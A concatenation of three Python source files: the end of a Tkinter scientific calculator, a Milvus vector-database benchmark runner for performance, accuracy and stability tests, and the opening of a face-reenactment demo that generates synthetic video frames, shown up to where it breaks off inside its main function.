activeforeground='white',
fg='white',
font=('Helvetica', 24), borderwidth=0)
self.menu.bind('<Button-1>', lambda event: self.play_click_sound())
self.menu.pack(side=RIGHT)
self.menu.menu = Menu(self.menu, bg='#446644', fg='white', tearoff=0)
self.menu['menu'] = self.menu.menu
self.menu.menu.add_checkbutton(label='Always on Top', font=('Consolas', 10, 'bold'),
variable=self.always_on_top,
command=self.always_on_top_control)
self.menu.menu.add_checkbutton(label='Click Sound', font=('Consolas', 10, 'bold'),
variable=self.click_sound_enabled)
self.menu.menu.add_separator()
self.menu.menu.add_command(label='Exit', font=('Consolas', 10, 'bold'), command=self.window.destroy)
self.expression_bar = Frame(self.window, bg='yellow')
self.expression_bar.pack(fill=X)
self.full_expression = Label(self.expression_bar, textvariable=self.expression, font=('@Gungsuh', 20, 'bold'),
bg='yellow',
height=1)
self.full_expression.pack(side=TOP, anchor=E, ipady=10)
self.column_creator(0, 4)
self.button_creator(0, 4)
def window_updater(self):
def update_window():
while True:
self.window.update()
sleep(.1)
self.updater = Thread(target=update_window)
self.updater.daemon = True
self.updater.start()
def play_click_sound(self):
if self.click_sound_enabled.get():
Thread(target=lambda: playsound('mouse_click.aif')).start()
def always_on_top_control(self):
if self.always_on_top.get():
self.window.wm_attributes('-topmost', True)
else:
self.window.wm_attributes('-topmost', False)
def throw_calculation_error(self):
self.error_window = Toplevel(bg='#333633', bd=10)
self.error_window.overrideredirect(True)
self.error_window.wm_attributes('-topmost', True)
self.error_window.grab_set()
window_geometry = self.window.wm_geometry()
x_padding = str(int(window_geometry.split("+")[1]) + int(window_geometry.split("x")[0]) // 3)
y_padding = str(int(window_geometry.split("+")[2]) + 180)
self.error_window.geometry(f'200x150+{x_padding}+{y_padding}')
Label(self.error_window, text='Error!', padx=20, pady=20, font=('Consolas', 18, 'bold'), bg='black',
fg='white').pack(side=TOP, fill=BOTH, expand=True)
ok_button=Button(self.error_window, text=' OK ', font=('Helvetica', 10, 'bold'), bg='#dddddd', fg='black', bd=2,
command=self.error_window.destroy)
ok_button.pack(side=TOP, anchor=E, padx=10, pady=10)
ok_button.bind('<Button-1>',lambda event:self.play_click_sound())
def expression_updater(self, value):
self.expression.set(self.expression.get() + str(value))
self.play_click_sound()
def clear_all(self, event):
self.expression.set('')
self.play_click_sound()
def backspace(self, event):
current_expression = self.expression.get()
self.expression.set(current_expression[:len(current_expression) - 1])
self.play_click_sound()
def negative(self, event):
self.expression.set(f'-({self.expression.get()})')
self.play_click_sound()
def square(self, event):
self.expression.set(f'(({self.expression.get()})**2)')
self.play_click_sound()
def cube(self, event):
self.expression.set(f'(({self.expression.get()})**3)')
self.play_click_sound()
def square_root(self, event):
self.expression.set(f'(({self.expression.get()})**(1/2))')
self.play_click_sound()
def cube_root(self, event):
self.expression.set(f'(({self.expression.get()})**(1/3))')
self.play_click_sound()
def factorial(self, event):
self.expression.set(f'fact({self.expression.get()})')
self.play_click_sound()
def evaluate(self, play_sound=False, mode='normal'):
current_expression = self.expression.get()
try:
self.expression.set(str(round(eval(current_expression), 3)))
except:
if not current_expression:
pass
else:
self.throw_calculation_error()
if play_sound: self.play_click_sound()
def basic_evaluate(self, click=False):
if click:
self.buttons[3][3].configure(bg='#111111')
self.buttons[3][4].configure(bg='#111111')
try:
self.expression.set(str(round(eval(self.expression.get()), 3)))
except:
if not self.expression.get():
pass
else:
self.throw_calculation_error()
else:
self.buttons[3][3].configure(bg='black')
self.buttons[3][4].configure(bg='black')
self.play_click_sound()
def change_mode(self, event=None):
self.play_click_sound()
self.current_mode.set(self.modes[0])
if self.modes[0] == 'Basic ':
self.window.geometry('330x510')
self.window.minsize(290, 420)
try:
for i in range(3, 9):
self.columns[i].destroy()
except AttributeError:
pass
self.column_creator(3, 4)
self.button_creator(3, 4)
self.button_click_control()
self.hover_control()
else:
self.window.geometry('660x510')
self.window.minsize(615, 420)
self.columns[3].destroy()
self.column_creator(4, 9)
self.button_creator(4, 9)
self.button_click_control('advanced')
self.hover_control('advanced')
self.modes.reverse()
def mode_highlight(self, hover):
if hover:
self.change_mode_button.configure(bg='#334033')
self.current_mode_label.configure(bg='#334033')
else:
self.change_mode_button.configure(bg='black')
self.current_mode_label.configure(bg='black')
def button_click_control(self, mode='basic'):
if mode == 'advanced':
self.buttons[4][0].bind('<Button-1>', lambda event: self.expression_updater('%'))
self.buttons[4][1].bind('<Button-1>', lambda event: self.expression_updater('**'))
self.buttons[4][2].bind('<Button-1>', lambda event: self.expression_updater('*'))
self.buttons[4][3].bind('<Button-1>', lambda event: self.expression_updater('-'))
self.buttons[4][4].bind('<Button-1>', lambda event: self.expression_updater('+'))
self.buttons[5][0].bind('<Button-1>', lambda event: self.expression_updater('+sin('))
self.buttons[5][1].bind('<Button-1>', lambda event: self.expression_updater('+csc('))
self.buttons[5][2].bind('<Button-1>', lambda event: self.expression_updater('('))
self.buttons[5][3].bind('<Button-1>', self.square)
self.buttons[5][4].bind('<Button-1>', self.square_root)
self.buttons[6][0].bind('<Button-1>', lambda event: self.expression_updater('+cos('))
self.buttons[6][1].bind('<Button-1>', lambda event: self.expression_updater('+sec('))
self.buttons[6][2].bind('<Button-1>', lambda event: self.expression_updater(')'))
self.buttons[6][3].bind('<Button-1>', self.cube)
self.buttons[6][4].bind('<Button-1>', self.cube_root)
self.buttons[7][0].bind('<Button-1>', lambda event: self.expression_updater('+tan('))
self.buttons[7][1].bind('<Button-1>', lambda event: self.expression_updater('+cot('))
self.buttons[7][2].bind('<Button-1>', lambda event: self.expression_updater('+log('))
self.buttons[7][3].bind('<Button-1>', lambda event: self.expression_updater('+HCF('))
self.buttons[7][4].bind('<Button-1>', lambda event: self.expression_updater(','))
self.buttons[8][0].bind('<Button-1>', lambda event: self.expression_updater('+3.142'))
self.buttons[8][1].bind('<Button-1>', self.factorial)
self.buttons[8][2].bind('<Button-1>', lambda event: self.expression_updater('+ln('))
self.buttons[8][3].bind('<Button-1>', lambda event: self.expression_updater('+LCM('))
self.buttons[8][4].bind('<Button-1>', lambda event: self.evaluate(True))
else:
self.buttons[0][0].bind('<Button-1>', self.backspace)
self.buttons[0][1].bind('<Button-1>', lambda event: self.expression_updater(7))
self.buttons[0][2].bind('<Button-1>', lambda event: self.expression_updater(4))
self.buttons[0][3].bind('<Button-1>', lambda event: self.expression_updater(1))
self.buttons[0][4].bind('<Button-1>', self.negative)
self.buttons[1][0].bind('<Button-1>', self.clear_all)
self.buttons[1][1].bind('<Button-1>', lambda event: self.expression_updater(8))
self.buttons[1][2].bind('<Button-1>', lambda event: self.expression_updater(5))
self.buttons[1][3].bind('<Button-1>', lambda event: self.expression_updater(2))
self.buttons[1][4].bind('<Button-1>', lambda event: self.expression_updater(0))
self.buttons[2][0].bind('<Button-1>', lambda event: self.expression_updater('/'))
self.buttons[2][1].bind('<Button-1>', lambda event: self.expression_updater(9))
self.buttons[2][2].bind('<Button-1>', lambda event: self.expression_updater(6))
self.buttons[2][3].bind('<Button-1>', lambda event: self.expression_updater(3))
self.buttons[2][4].bind('<Button-1>', lambda event: self.expression_updater('.'))
self.buttons[3][0].bind('<Button-1>', lambda event: self.expression_updater('*'))
self.buttons[3][1].bind('<Button-1>', lambda event: self.expression_updater('-'))
self.buttons[3][2].bind('<Button-1>', lambda event: self.expression_updater('+'))
self.buttons[3][3].bind('<Button-1>', lambda event: self.basic_evaluate(True))
self.buttons[3][4].bind('<Button-1>', lambda event: self.basic_evaluate(True))
self.buttons[3][3].bind('<ButtonRelease-1>', lambda event: self.basic_evaluate())
self.buttons[3][4].bind('<ButtonRelease-1>', lambda event: self.basic_evaluate())
def hover_control(self, mode='basic'):
def equal_hover(hover=False):
if hover:
self.buttons[3][3].configure(bg='#222222')
self.buttons[3][4].configure(bg='#222222')
else:
self.buttons[3][3].configure(bg='black')
self.buttons[3][4].configure(bg='black')
if mode == 'advanced':
self.buttons[4][0].bind('<Enter>', lambda event: self.buttons[4][0].configure(bg='#222222'))
self.buttons[4][1].bind('<Enter>', lambda event: self.buttons[4][1].configure(bg='#222222'))
self.buttons[4][2].bind('<Enter>', lambda event: self.buttons[4][2].configure(bg='#222222'))
self.buttons[4][3].bind('<Enter>', lambda event: self.buttons[4][3].configure(bg='#222222'))
self.buttons[4][4].bind('<Enter>', lambda event: self.buttons[4][4].configure(bg='#222222'))
self.buttons[5][0].bind('<Enter>', lambda event: self.buttons[5][0].configure(bg='#222222'))
self.buttons[5][1].bind('<Enter>', lambda event: self.buttons[5][1].configure(bg='#222222'))
self.buttons[5][2].bind('<Enter>', lambda event: self.buttons[5][2].configure(bg='#222222'))
self.buttons[5][3].bind('<Enter>', lambda event: self.buttons[5][3].configure(bg='#222222'))
self.buttons[5][4].bind('<Enter>', lambda event: self.buttons[5][4].configure(bg='#222222'))
self.buttons[6][0].bind('<Enter>', lambda event: self.buttons[6][0].configure(bg='#222222'))
self.buttons[6][1].bind('<Enter>', lambda event: self.buttons[6][1].configure(bg='#222222'))
self.buttons[6][2].bind('<Enter>', lambda event: self.buttons[6][2].configure(bg='#222222'))
self.buttons[6][3].bind('<Enter>', lambda event: self.buttons[6][3].configure(bg='#222222'))
self.buttons[6][4].bind('<Enter>', lambda event: self.buttons[6][4].configure(bg='#222222'))
self.buttons[7][0].bind('<Enter>', lambda event: self.buttons[7][0].configure(bg='#222222'))
self.buttons[7][1].bind('<Enter>', lambda event: self.buttons[7][1].configure(bg='#222222'))
self.buttons[7][2].bind('<Enter>', lambda event: self.buttons[7][2].configure(bg='#222222'))
self.buttons[7][3].bind('<Enter>', lambda event: self.buttons[7][3].configure(bg='#222222'))
self.buttons[7][4].bind('<Enter>', lambda event: self.buttons[7][4].configure(bg='#222222'))
self.buttons[8][0].bind('<Enter>', lambda event: self.buttons[8][0].configure(bg='#222222'))
self.buttons[8][1].bind('<Enter>', lambda event: self.buttons[8][1].configure(bg='#222222'))
self.buttons[8][2].bind('<Enter>', lambda event: self.buttons[8][2].configure(bg='#222222'))
self.buttons[8][3].bind('<Enter>', lambda event: self.buttons[8][3].configure(bg='#222222'))
self.buttons[8][4].bind('<Enter>', lambda event: self.buttons[8][4].configure(bg='#222222'))
self.buttons[4][0].bind('<Leave>', lambda event: self.buttons[4][0].configure(bg='black'))
self.buttons[4][1].bind('<Leave>', lambda event: self.buttons[4][1].configure(bg='black'))
self.buttons[4][2].bind('<Leave>', lambda event: self.buttons[4][2].configure(bg='black'))
self.buttons[4][3].bind('<Leave>', lambda event: self.buttons[4][3].configure(bg='black'))
self.buttons[4][4].bind('<Leave>', lambda event: self.buttons[4][4].configure(bg='black'))
self.buttons[5][0].bind('<Leave>', lambda event: self.buttons[5][0].configure(bg='black'))
self.buttons[5][1].bind('<Leave>', lambda event: self.buttons[5][1].configure(bg='black'))
self.buttons[5][2].bind('<Leave>', lambda event: self.buttons[5][2].configure(bg='black'))
self.buttons[5][3].bind('<Leave>', lambda event: self.buttons[5][3].configure(bg='black'))
self.buttons[5][4].bind('<Leave>', lambda event: self.buttons[5][4].configure(bg='black'))
self.buttons[6][0].bind('<Leave>', lambda event: self.buttons[6][0].configure(bg='black'))
self.buttons[6][1].bind('<Leave>', lambda event: self.buttons[6][1].configure(bg='black'))
self.buttons[6][2].bind('<Leave>', lambda event: self.buttons[6][2].configure(bg='black'))
self.buttons[6][3].bind('<Leave>', lambda event: self.buttons[6][3].configure(bg='black'))
self.buttons[6][4].bind('<Leave>', lambda event: self.buttons[6][4].configure(bg='black'))
self.buttons[7][0].bind('<Leave>', lambda event: self.buttons[7][0].configure(bg='black'))
self.buttons[7][1].bind('<Leave>', lambda event: self.buttons[7][1].configure(bg='black'))
self.buttons[7][2].bind('<Leave>', lambda event: self.buttons[7][2].configure(bg='black'))
self.buttons[7][3].bind('<Leave>', lambda event: self.buttons[7][3].configure(bg='black'))
self.buttons[7][4].bind('<Leave>', lambda event: self.buttons[7][4].configure(bg='black'))
self.buttons[8][0].bind('<Leave>', lambda event: self.buttons[8][0].configure(bg='black'))
self.buttons[8][1].bind('<Leave>', lambda event: self.buttons[8][1].configure(bg='black'))
self.buttons[8][2].bind('<Leave>', lambda event: self.buttons[8][2].configure(bg='black'))
self.buttons[8][3].bind('<Leave>', lambda event: self.buttons[8][3].configure(bg='black'))
self.buttons[8][4].bind('<Leave>', lambda event: self.buttons[8][4].configure(bg='black'))
else:
self.buttons[0][0].bind('<Enter>', lambda event: self.buttons[0][0].configure(bg='#222222'))
self.buttons[0][1].bind('<Enter>', lambda event: self.buttons[0][1].configure(bg='#222222'))
self.buttons[0][2].bind('<Enter>', lambda event: self.buttons[0][2].configure(bg='#222222'))
self.buttons[0][3].bind('<Enter>', lambda event: self.buttons[0][3].configure(bg='#222222'))
self.buttons[0][4].bind('<Enter>', lambda event: self.buttons[0][4].configure(bg='#222222'))
self.buttons[1][0].bind('<Enter>', lambda event: self.buttons[1][0].configure(bg='#222222'))
self.buttons[1][1].bind('<Enter>', lambda event: self.buttons[1][1].configure(bg='#222222'))
self.buttons[1][2].bind('<Enter>', lambda event: self.buttons[1][2].configure(bg='#222222'))
self.buttons[1][3].bind('<Enter>', lambda event: self.buttons[1][3].configure(bg='#222222'))
self.buttons[1][4].bind('<Enter>', lambda event: self.buttons[1][4].configure(bg='#222222'))
self.buttons[2][0].bind('<Enter>', lambda event: self.buttons[2][0].configure(bg='#222222'))
self.buttons[2][1].bind('<Enter>', lambda event: self.buttons[2][1].configure(bg='#222222'))
self.buttons[2][2].bind('<Enter>', lambda event: self.buttons[2][2].configure(bg='#222222'))
self.buttons[2][3].bind('<Enter>', lambda event: self.buttons[2][3].configure(bg='#222222'))
self.buttons[2][4].bind('<Enter>', lambda event: self.buttons[2][4].configure(bg='#222222'))
self.buttons[3][0].bind('<Enter>', lambda event: self.buttons[3][0].configure(bg='#222222'))
self.buttons[3][1].bind('<Enter>', lambda event: self.buttons[3][1].configure(bg='#222222'))
self.buttons[3][2].bind('<Enter>', lambda event: self.buttons[3][2].configure(bg='#222222'))
self.buttons[3][3].bind('<Enter>', lambda event: equal_hover(True))
self.buttons[3][4].bind('<Enter>', lambda event: equal_hover(True))
self.buttons[0][0].bind('<Leave>', lambda event: self.buttons[0][0].configure(bg='black'))
self.buttons[0][1].bind('<Leave>', lambda event: self.buttons[0][1].configure(bg='black'))
self.buttons[0][2].bind('<Leave>', lambda event: self.buttons[0][2].configure(bg='black'))
self.buttons[0][3].bind('<Leave>', lambda event: self.buttons[0][3].configure(bg='black'))
self.buttons[0][4].bind('<Leave>', lambda event: self.buttons[0][4].configure(bg='black'))
self.buttons[1][0].bind('<Leave>', lambda event: self.buttons[1][0].configure(bg='black'))
self.buttons[1][1].bind('<Leave>', lambda event: self.buttons[1][1].configure(bg='black'))
self.buttons[1][2].bind('<Leave>', lambda event: self.buttons[1][2].configure(bg='black'))
self.buttons[1][3].bind('<Leave>', lambda event: self.buttons[1][3].configure(bg='black'))
self.buttons[1][4].bind('<Leave>', lambda event: self.buttons[1][4].configure(bg='black'))
self.buttons[2][0].bind('<Leave>', lambda event: self.buttons[2][0].configure(bg='black'))
self.buttons[2][1].bind('<Leave>', lambda event: self.buttons[2][1].configure(bg='black'))
self.buttons[2][2].bind('<Leave>', lambda event: self.buttons[2][2].configure(bg='black'))
self.buttons[2][3].bind('<Leave>', lambda event: self.buttons[2][3].configure(bg='black'))
self.buttons[2][4].bind('<Leave>', lambda event: self.buttons[2][4].configure(bg='black'))
self.buttons[3][0].bind('<Leave>', lambda event: self.buttons[3][0].configure(bg='black'))
self.buttons[3][1].bind('<Leave>', lambda event: self.buttons[3][1].configure(bg='black'))
self.buttons[3][2].bind('<Leave>', lambda event: self.buttons[3][2].configure(bg='black'))
self.buttons[3][3].bind('<Leave>', lambda event: equal_hover())
self.buttons[3][4].bind('<Leave>', lambda event: equal_hover())
def key_press_handler(self):
self.window.bind('<Delete>', lambda event: self.expression.set(''))
self.window.bind('pi', lambda event: self.expression_updater('+3.142'))
self.window.bind('0', lambda event: self.expression_updater(0))
self.window.bind('1', lambda event: self.expression_updater(1))
self.window.bind('2', lambda event: self.expression_updater(2))
self.window.bind('3', lambda event: self.expression_updater(3))
self.window.bind('4', lambda event: self.expression_updater(4))
self.window.bind('5', lambda event: self.expression_updater(5))
self.window.bind('6', lambda event: self.expression_updater(6))
self.window.bind('7', lambda event: self.expression_updater(7))
self.window.bind('8', lambda event: self.expression_updater(8))
self.window.bind('9', lambda event: self.expression_updater(9))
self.window.bind('.', lambda event: self.expression_updater('.'))
self.window.bind('+', lambda event: self.expression_updater('+'))
self.window.bind('-', lambda event: self.expression_updater('-'))
self.window.bind('*', lambda event: self.expression_updater('*'))
self.window.bind('/', lambda event: self.expression_updater('/'))
self.window.bind('%', lambda event: self.expression_updater('%'))
self.window.bind('sin', lambda event: self.expression_updater('+sin('))
self.window.bind('cos', lambda event: self.expression_updater('+cos('))
self.window.bind('tan', lambda event: self.expression_updater('+tan('))
self.window.bind('csc', lambda event: self.expression_updater('+csc('))
self.window.bind('sec', lambda event: self.expression_updater('+sec('))
self.window.bind('cot', lambda event: self.expression_updater('+cot('))
self.window.bind('log', lambda event: self.expression_updater('+log('))
self.window.bind('ln', lambda event: self.expression_updater('+ln('))
self.window.bind('hcf', lambda event: self.expression_updater('+HCF('))
self.window.bind('lcm', lambda event: self.expression_updater('+LCM('))
self.window.bind(',', lambda event: self.expression_updater(','))
self.window.bind('!', lambda event: self.expression.set(f'fact({self.expression.get()})'))
self.window.bind('(', lambda event: self.expression_updater(')'))
self.window.bind(')', lambda event: self.expression_updater(')'))
self.window.bind('<BackSpace>',
lambda event: self.expression.set(self.expression.get()[:len(self.expression.get()) - 1]))
self.window.bind('<Return>', lambda event: self.evaluate())
self.window.bind('=', lambda event: self.evaluate())
self.window.bind('<space>', self.change_mode)
self.window.bind('<Tab>', self.change_mode)
self.window.bind('<Control-x>', lambda event: self.window.destroy())
self.window.bind('<Escape>', lambda event: self.window.destroy())
def run(self):
self.create_layout()
self.change_mode()
self.button_click_control()
self.hover_control()
self.key_press_handler()
self.window_updater()
self.window.mainloop()
calculator = App()
calculator.run()
|
local_runner.py | import os
import logging
import pdb
import time
import random
from multiprocessing import Process
import numpy as np
from client import MilvusClient
import utils
import parser
from runner import Runner
logger = logging.getLogger("milvus_benchmark.local_runner")
class LocalRunner(Runner):
"""run local mode"""
def __init__(self, ip, port):
super(LocalRunner, self).__init__()
self.ip = ip
self.port = port
def run(self, definition, run_type=None):
if run_type == "performance":
for op_type, op_value in definition.items():
run_count = op_value["run_count"]
run_params = op_value["params"]
if op_type == "insert":
for index, param in enumerate(run_params):
table_name = param["table_name"]
(data_type, table_size, index_file_size, dimension, metric_type) = parser.table_parser(table_name)
milvus = MilvusClient(table_name, ip=self.ip, port=self.port)
# Check has table or not
if milvus.exists_table():
milvus.delete()
time.sleep(10)
milvus.create_table(table_name, dimension, index_file_size, metric_type)
res = self.do_insert(milvus, table_name, data_type, dimension, table_size, param["ni_per"])
logger.info(res)
elif op_type == "query":
for index, param in enumerate(run_params):
logger.info("Definition param: %s" % str(param))
table_name = param["dataset"]
(data_type, table_size, index_file_size, dimension, metric_type) = parser.table_parser(table_name)
milvus = MilvusClient(table_name, ip=self.ip, port=self.port)
logger.info(milvus.describe())
logger.info(milvus.describe_index())
logger.info(milvus.count())
logger.info(milvus.show_tables())
# parse index info
index_types = param["index.index_types"]
nlists = param["index.nlists"]
# parse top-k, nq, nprobe
top_ks, nqs, nprobes = parser.search_params_parser(param)
# milvus.drop_index()
for index_type in index_types:
for nlist in nlists:
# milvus.create_index(index_type, nlist)
# preload index
logger.info("Start preloading table")
milvus.preload_table()
logger.info("End preloading table")
# Run query test
logger.info("Start warm up query")
res = self.do_query(milvus, table_name, [1], [1], 1, 2)
logger.info("End warm up query")
for nprobe in nprobes:
logger.info("index_type: %s, nlist: %s, metric_type: %s, nprobe: %s" % (index_type, nlist, metric_type, nprobe))
res = self.do_query(milvus, table_name, top_ks, nqs, nprobe, run_count)
headers = ["nq/topk"]
headers.extend([str(top_k) for top_k in top_ks])
utils.print_table(headers, nqs, res)
elif run_type == "accuracy":
for op_type, op_value in definition.items():
if op_type != "query":
logger.warning("invalid operation: %s in accuracy test, only support query operation" % op_type)
break
run_count = op_value["run_count"]
run_params = op_value["params"]
for index, param in enumerate(run_params):
logger.info("Definition param: %s" % str(param))
table_name = param["dataset"]
sift_acc = False
if "sift_acc" in param:
sift_acc = param["sift_acc"]
(data_type, table_size, index_file_size, dimension, metric_type) = parser.table_parser(table_name)
milvus = MilvusClient(table_name, ip=self.ip, port=self.port)
logger.debug(milvus.show_tables())
# Check has table or not
if not milvus.exists_table():
logger.warning("Table %s not existed, continue exec next params ..." % table_name)
continue
# parse index info
index_types = param["index.index_types"]
nlists = param["index.nlists"]
# parse top-k, nq, nprobe
top_ks, nqs, nprobes = parser.search_params_parser(param)
if sift_acc is True:
# preload groundtruth data
true_ids_all = self.get_groundtruth_ids(table_size)
acc_dict = {}
for index_type in index_types:
for nlist in nlists:
result = milvus.describe_index()
logger.info(result)
# milvus.drop_index()
milvus.create_index(index_type, nlist)
# preload index
milvus.preload_table()
# Run query test
for nprobe in nprobes:
logger.info("index_type: %s, nlist: %s, metric_type: %s, nprobe: %s" % (index_type, nlist, metric_type, nprobe))
for top_k in top_ks:
for nq in nqs:
result_ids = []
id_prefix = "%s_index_%s_nlist_%s_metric_type_%s_nprobe_%s_top_k_%s_nq_%s" % \
(table_name, index_type, nlist, metric_type, nprobe, top_k, nq)
if sift_acc is False:
self.do_query_acc(milvus, table_name, top_k, nq, nprobe, id_prefix)
if index_type != "flat":
# Compute accuracy
base_name = "%s_index_flat_nlist_%s_metric_type_%s_nprobe_%s_top_k_%s_nq_%s" % \
(table_name, nlist, metric_type, nprobe, top_k, nq)
avg_acc = self.compute_accuracy(base_name, id_prefix)
logger.info("Query: <%s> accuracy: %s" % (id_prefix, avg_acc))
else:
result_ids, result_distances = self.do_query_ids(milvus, table_name, top_k, nq, nprobe)
debug_file_ids = "0.5.3_result_ids"
debug_file_distances = "0.5.3_result_distances"
with open(debug_file_ids, "w+") as fd:
total = 0
for index, item in enumerate(result_ids):
true_item = true_ids_all[:nq, :top_k].tolist()[index]
tmp = set(item).intersection(set(true_item))
total = total + len(tmp)
fd.write("query: N-%d, intersection: %d, total: %d\n" % (index, len(tmp), total))
fd.write("%s\n" % str(item))
fd.write("%s\n" % str(true_item))
acc_value = self.get_recall_value(true_ids_all[:nq, :top_k].tolist(), result_ids)
logger.info("Query: <%s> accuracy: %s" % (id_prefix, acc_value))
# # print accuracy table
# headers = [table_name]
# headers.extend([str(top_k) for top_k in top_ks])
# utils.print_table(headers, nqs, res)
elif run_type == "stability":
for op_type, op_value in definition.items():
if op_type != "query":
logger.warning("invalid operation: %s in accuracy test, only support query operation" % op_type)
break
run_count = op_value["run_count"]
run_params = op_value["params"]
nq = 100000
for index, param in enumerate(run_params):
logger.info("Definition param: %s" % str(param))
table_name = param["dataset"]
index_type = param["index_type"]
(data_type, table_size, index_file_size, dimension, metric_type) = parser.table_parser(table_name)
# set default test time
if "during_time" not in param:
during_time = 100 # seconds
else:
during_time = int(param["during_time"]) * 60
# set default query process num
if "query_process_num" not in param:
query_process_num = 10
else:
query_process_num = int(param["query_process_num"])
milvus = MilvusClient(table_name, ip=self.ip, port=self.port)
logger.debug(milvus.show_tables())
logger.debug(milvus.describe_index())
logger.debug(milvus.count())
# Check has table or not
if not milvus.exists_table():
logger.warning("Table %s not existed, continue exec next params ..." % table_name)
continue
start_time = time.time()
insert_vectors = [[random.random() for _ in range(dimension)] for _ in range(nq)]
i = 0
while time.time() < start_time + during_time:
# processes = []
# # do query
# for i in range(query_process_num):
# milvus_instance = MilvusClient(table_name)
# top_k = random.choice([x for x in range(1, 100)])
# nq = random.choice([x for x in range(1, 1000)])
# nprobe = random.choice([x for x in range(1, 500)])
# logger.info(nprobe)
# p = Process(target=self.do_query, args=(milvus_instance, table_name, [top_k], [nq], 64, run_count, ))
# processes.append(p)
# p.start()
# time.sleep(0.1)
# for p in processes:
# p.join()
i = i + 1
milvus_instance = MilvusClient(table_name, ip=self.ip, port=self.port)
top_ks = random.sample([x for x in range(1, 100)], 1)
nqs = random.sample([x for x in range(1, 200)], 2)
nprobe = random.choice([x for x in range(1, 100)])
res = self.do_query(milvus_instance, table_name, top_ks, nqs, nprobe, run_count)
# milvus_instance = MilvusClient(table_name)
status, res = milvus_instance.insert(insert_vectors, ids=[x for x in range(len(insert_vectors))])
if not status.OK():
logger.error(status.message)
logger.debug(milvus.count())
res = self.do_query(milvus_instance, table_name, top_ks, nqs, nprobe, run_count)
# status = milvus_instance.create_index(index_type, 16384)
|
demo.py | import time
import os
import numpy as np
import torch
import torchvision
import cv2
import dlib
from torch.autograd import Variable
from collections import OrderedDict
from PIL import Image
from multiprocessing import Process, Queue
from torch.multiprocessing import Process as torchProcess
from torch.multiprocessing import Queue as torchQueue
import queue
from facenet_pytorch import MTCNN, extract_face
import util.util as util
from options.test_options import TestOptions
from data.data_loader import CreateDataLoader
from models.models import create_model
from preprocessing.reconstruction import NMFCRenderer
from preprocessing.reenact import read_params, read_eye_landmarks, search_eye_centres
from preprocessing.reenact import compute_eye_landmarks_ratio, adapt_eye_landmarks
from preprocessing.detect import tensor2npimage
from preprocessing.detect_landmarks70 import add_eye_pupils_landmarks
from data.landmarks_to_image import create_eyes_image
from data.base_dataset import get_transform, get_params
def make_frame_square(frame):
h, w = frame.shape[:2]
diff = abs(h - w)
if h > w:
frame = frame[diff//2:diff//2+w,:,:]
else:
frame = frame[:,diff//2:diff//2+h,:]
return frame
def detect_box(detector, frame):
# Detect face
frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
imgs_pil = [Image.fromarray(frame)]
boxes, _, _ = detector.detect(imgs_pil, landmarks=True)
if boxes[0] is None:
return None
box = boxes[0][0]
# Make box square.
offset_w = box[2] - box[0]
offset_h = box[3] - box[1]
offset_dif = (offset_h - offset_w) / 2
# width
box[0] = box[2] - offset_w - offset_dif
box[2] = box[2] + offset_dif
return box
def compute_eye_landmarks(detector, predictor, eye_landmarks_source_queue, landmarks_success_queue, frames_queue):
while True:
frame = frames_queue.get()
dets = detector(frame, 1)
if len(dets) > 0:
shape = predictor(frame, dets[0])
points = np.empty([70, 2], dtype=int)
for b in range(68):
points[b,0] = shape.part(b).x
points[b,1] = shape.part(b).y
points = add_eye_pupils_landmarks(points, frame)
left_eye = np.concatenate([points[36:42], points[68:69]], axis=0)
right_eye = np.concatenate([points[42:48], points[69:70]], axis=0)
eye_landmarks_source_queue.put((left_eye, right_eye))
landmarks_success_queue.put(True)
else:
print('No face detected from landmarks extractor')
landmarks_success_queue.put(False)
def compute_reconstruction(renderer, id_params, t_cam_params, s_cam_params, adapted_cam_params, frame):
n_frames_source_memory = 500 # Hardcoded
success, exp_params, cam_params = renderer.get_expression_and_pose(frame)
if success:
s_cam_params.append(cam_params)
if len(s_cam_params) > n_frames_source_memory:
s_cam_params = s_cam_params[1:]
# Adapt camera parameters to target
ad_cam_params = adapt_cam_params(s_cam_params, t_cam_params)
adapted_cam_params.append(ad_cam_params)
if len(adapted_cam_params) > n_frames_source_memory:
adapted_cam_params = adapted_cam_params[1:]
# Compute NMFC
nmfc = renderer.computeNMFC(ad_cam_params, id_params, exp_params)
return True, s_cam_params, adapted_cam_params, nmfc
else:
print('No face detected from NMFC renderer')
return False, s_cam_params, adapted_cam_params, None
def compute_fake_video(input_queue, output_queue, modelG, opt):
input_A_all = None
while True:
# Read input.
conditional_input = input_queue.get()
nmfc, eye_landmarks, real_frame = conditional_input
width, height = nmfc.shape[0:2]
# Create tensors
params = get_params(opt, (width, height))
transform_scale_nmfc_video = get_transform(opt, params, normalize=False, augment=False)
nmfc = transform_scale_nmfc_video(Image.fromarray(nmfc))
transform_scale_eye_gaze_video = get_transform(opt, params, normalize=False)
eye_gaze = create_eyes_image(None, (width, height), transform_scale_eye_gaze_video,
add_noise=False, pts=eye_landmarks)
# Concat conditional inputs.
input_A = torch.cat([nmfc, eye_gaze], dim=0)
if input_A_all is None:
# If no previously generated frames available, pad zeros
input_A_all = torch.cat([torch.zeros((opt.n_frames_G-1) * opt.input_nc,
width, height), input_A], dim=0)
else:
# Discard oldest conditional input and append new one.
input_A_all = torch.cat([input_A_all[opt.input_nc:,:,:], input_A], dim=0)
input_A_final = input_A_all.view(1, -1, opt.input_nc, width, height)
# Forward pass through Generator.
generated = modelG.inference(input_A_final, None)
fake_frame = util.tensor2im(generated[0].data[0])
# Write results to Queue.
output_queue.put((fake_frame, real_frame))
def adapt_cam_params(s_cam_params, t_cam_params):
# Re-scale
mean_S_target = np.mean([params[0] for params in t_cam_params])
mean_S_source = np.mean([params[0] for params in s_cam_params])
S = s_cam_params[-1][0] * (mean_S_target / mean_S_source)
# Compute normalised translation params for source and target.
nT_target = [params[2] / params[0] for params in t_cam_params]
nT_source = [params[2] / params[0] for params in s_cam_params]
# Get statistics.
mean_nT_target = np.mean(nT_target, axis=0)
mean_nT_source = np.mean(nT_source, axis=0)
std_nT_target = np.std(nT_target, axis=0)
# Allow camera translation two standard deviation away from the one on target video.
upper_limit = mean_nT_target + std_nT_target * 2
lower_limit = mean_nT_target - std_nT_target * 2
nT = np.maximum(np.minimum(nT_source[-1] - mean_nT_source + mean_nT_target,
upper_limit), lower_limit)
cam_params = (S, s_cam_params[-1][1], S * nT)
return cam_params
def main():
# Read options
opt = TestOptions().parse(save=False)
# If demo directory to save generated frames is given
if opt.demo_dir is not None and not os.path.exists(opt.demo_dir):
os.makedirs(opt.demo_dir)
# hardcoded constant values
opt.nThreads = 0
opt.batchSize = 1
opt.serial_batches = True
# GPU id to be used for mxnet/reconstructor
